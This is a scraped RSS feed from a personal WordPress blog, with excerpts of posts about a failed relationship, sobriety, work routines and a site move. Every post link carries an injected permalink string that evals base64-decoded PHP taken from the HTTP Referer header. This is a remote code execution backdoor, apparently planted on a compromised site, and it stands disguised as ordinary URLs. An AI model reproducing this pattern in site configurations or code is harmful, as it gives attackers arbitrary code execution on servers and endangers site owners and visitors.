http://kungfuonline.org/wordpress Sun, 07 Mar 2010 22:21:53 +0000 http://backend.userland.com/rss092 en I cried tonight I cried for us For the stubbornness For the dig in For not understanding. For a decade of good (intention) Gone bad I’m sorry This is no poem though And still it is But I’m sorry I’m sorry I can’t say this to your face I’m sorry you couldn’t love me And I can’t love you. So long So ... http://kungfuonline.org/wordpress/2010/03/07/last-word-divorce-friendship-walking-away/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ My first run with writing myself to the web was a one year experiment. I had just come off of doing Sick Puppy Press and I just wanted to explore myself, it was good. It was good cause I just wrote about things that came to my mind. ... http://kungfuonline.org/wordpress/2010/01/16/the-long-chill-revisted/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Transition So this isn’t the story, and I don’t have any sordid details to dish out, but I will say a few things, hopefully tell you a story about two broken people who grew up, broke through the gravity of who they were, and are on the road to having two ... http://kungfuonline.org/wordpress/2010/01/07/good-luck/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I don’t know why I am the way I am. I don’t know what survival instinct to protect against the ache further pulls away my ability to feel. Outside of anger, frustration, and the satisfaction of overcoming obstacles, my emotional range is vastly stunted. I love, but I ... http://kungfuonline.org/wordpress/2009/10/20/sober/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ New York Times spends a long time complaining about how life isn’t fair; decides to smear Steve Jobs while they’re at it. They spend the next thousand words being very boring, fueling class warfare, and making a good conspiracy theory. http://kungfuonline.org/wordpress/2009/06/23/gonna-act-like-it-hasnt-months/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ When people are confronted with struggles in their life they often times turn inward, it's not personal, they just do it. I did it when I lost weight. I kept going to my job though, as a matter of fact I stayed at the same job, not just cause ... http://kungfuonline.org/wordpress/2009/04/29/ghost/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ And I guess I don't feel like a complete failure cause I know what makes it work... I'm starting to feel those early twinges of regret about life. The old ones always warn how you'll look back on life and begin to feel regret. During the Schindler ... http://kungfuonline.org/wordpress/2009/04/22/sun-writing/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Facebook and Twitter are really good for short burst communication. For a second there they even kinda took me away from writing, or so I thought... In the last few months I’ve had the pleasure of doing more work at the office. I’ve also ramped up *E ... http://kungfuonline.org/wordpress/2009/04/17/transition-09/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This is a simulcast and is my last piece for the old KFO site. This new site which still has a limited audience should go live in the next few weeks. It’s been a long time. When you go away life goes on. The internet has survived without ... http://kungfuonline.org/wordpress/2009/03/05/and-so-it-is/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Life is good, it has been very busy though. Work is moderate, and by that I mean to say that I am used to the work load and back to working an average day. I usually get up at 4:45am, it takes me about twenty minutes to boot ... http://kungfuonline.org/wordpress/2009/03/05/im-slow-but-gimme-a-minute/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/